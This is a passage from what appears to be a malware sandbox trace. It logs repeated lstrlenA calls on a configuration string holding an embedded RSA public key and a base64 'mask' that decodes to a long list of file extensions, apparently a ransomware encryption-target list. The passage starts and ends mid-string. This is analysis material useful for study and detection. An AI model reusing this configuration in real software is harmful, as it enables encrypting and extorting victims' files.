FpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.405] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.405] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.405] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0